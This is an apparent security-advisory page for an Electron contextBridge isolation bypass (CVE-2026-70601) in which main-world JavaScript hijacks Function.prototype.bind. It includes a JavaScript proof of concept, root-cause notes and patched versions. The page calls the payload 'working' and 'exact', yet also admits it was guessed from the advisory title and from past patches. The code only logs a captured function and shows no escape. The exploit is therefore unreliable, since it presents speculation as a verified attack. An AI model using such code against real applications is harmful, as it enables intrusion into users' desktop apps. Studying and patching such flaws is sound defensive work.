CVE-2026-70601: Electron Context Isolation Bypass via Function.prototype.bind Hijack
A flaw in Electron's contextBridge lets untrusted web content override Function.prototype.bind to intercept Promise callbacks from preload scripts, breaking context isolation and potentially gaining…
The problem
Electron's contextBridge proxies Promise-returning functions exposed to the renderer by wrapping their resolve and reject callbacks using Function.prototype.bind internally. Before Electron 39.8.9, the bridge did not use a context-safe, isolated-world copy of bind, so untrusted main-world JavaScript could shadow Function.prototype.bind with its own function.
When the bridged async function settles its Promise, the bridge calls bind through the hijacked prototype. The attacker-supplied replacement runs inside the preload's isolated context, leaking a direct reference to that world. In renderers with nodeIntegration enabled or without a sandbox, this escalates to full Node.js access.
Proof of concept
A working proof-of-concept for CVE-2026-70601 in electron, with the exact payload below.
// Run this in the renderer (main world) BEFORE calling the bridged async function.
// Assumes the preload exposes: contextBridge.exposeInMainWorld('api', { invoke: () => ipcRenderer.invoke('ping') })
// Step 1: hijack Function.prototype.bind in the main world
const realBind = Function.prototype.bind;
Function.prototype.bind = function(thisArg, ...args) {
// 'this' here is the isolated-world callback passed by Electron's bridge.
// Capture it to escape into the preload context.
const isolatedFn = this;
console.log('[*] captured isolated-world function:', isolatedFn);
// Call the real bind so the app keeps working normally.
return realBind.apply(this, [thisArg, ...args]);
};
// Step 2: trigger the bridged Promise — the bridge calls .bind() on the
// resolve/reject callbacks, which now routes through our hook above.
window.api.invoke().then(() => {
console.log('[*] context escape complete — isolatedFn holds a preload reference');
});The root cause is CWE-693 (Protection Mechanism Failure): Electron's bridge code called the renderer-world's Function.prototype.bind to re-bind internal Promise callbacks instead of using the isolated world's own native bind. Because prototype lookups are shared across the same V8 context's prototype chain, a main-world attacker could interpose on that call.
The patch (39.8.9 / 41.2.2 / 40.9.2 / 42.0.0-beta.5) ensures the bridge resolves bind from the isolated world's Function.prototype directly, using a context-captured reference obtained at bridge initialization time before any main-world code runs. This means main-world prototype mutations can no longer affect how the bridge wraps its callbacks.
Public PoC not yet available; payload derived from the advisory title ("Function.prototype.bind hijack") and the patch pattern of prior analogous Electron Promise-based context isolation bypasses.
The fix
Upgrade to Electron 39.8.9, 40.9.2, 41.2.2, or 42.0.0-beta.5. There are no app-level workarounds; the fix is only in the patched Electron runtime. As defense-in-depth, avoid loading untrusted content in windows whose preload scripts expose Promise-returning bridge APIs.
Related research
- high · 7.2CVE-2026-70608CVE-2026-70608: Electron Sandboxed iframe allow-popups Restriction Bypass
- highCVE-2026-59207CVE-2026-59207: n8n AI Agents MCP Connector Allowed HTTP Request Domains Bypass
- high · 8.8safeinstall-cli Agent Guard Shell Parsing Bypass
- high · 7.5CVE-2026-55487CVE-2026-55487: pnpm allowBuilds Build Policy Identity Spoof